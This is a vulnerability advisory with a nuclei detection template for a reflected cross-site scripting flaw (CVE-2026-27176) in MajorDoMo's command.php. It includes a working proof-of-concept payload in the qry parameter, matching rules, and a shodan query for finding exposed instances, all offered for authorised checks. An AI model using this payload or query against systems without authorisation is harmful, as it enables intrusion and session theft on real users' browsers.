MajorDoMo - Cross-Site Scripting

mediumseverity

6.1CVSS score

0.5%likelihood of exploitation, next 30 days

43%of all CVEs are less likely

Readycheck to confirm it

MajorDoMo contains a reflected XSS caused by unsanitized $qry parameter in command.php, letting attackers inject arbitrary JavaScript via crafted URLs, exploit requires victim to visit malicious URL.

Impact

Attackers can execute arbitrary JavaScript in victim's browser, leading to session hijacking or other client-side attacks.

Fix

Sanitize the $qry parameter using htmlspecialchars() or equivalent before rendering.

How to confirm it

Send: GET {{BaseURL}}/command.php?qry=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E
Positive when: contains "\"><img src=x onerror=alert(document.domain)>" and "Command:" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2026-27176 -u <target>

The full check

id: CVE-2026-27176

info:
  name: MajorDoMo - Cross-Site Scripting
  author: DhiyaneshDk
  severity: medium
  description: |
    MajorDoMo contains a reflected XSS caused by unsanitized $qry parameter in command.php, letting attackers inject arbitrary JavaScript via crafted URLs, exploit requires victim to visit malicious URL.
  impact: |
    Attackers can execute arbitrary JavaScript in victim's browser, leading to session hijacking or other client-side attacks.
  remediation: |
    Sanitize the $qry parameter using htmlspecialchars() or equivalent before rendering.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-27176
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-27176
    epss-score: 0.005
    epss-percentile: 0.43166
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"majordomo"
  tags: cve,cve2026,xss,majordomo

http:
  - method: GET
    path:
      - "{{BaseURL}}/command.php?qry=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><img src=x onerror=alert(document.domain)>'
          - "Command:"
        condition: and

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

https://nvd.nist.gov/vuln/detail/CVE-2026-27176

Use this check only on systems you are authorised to test. Where the data comes from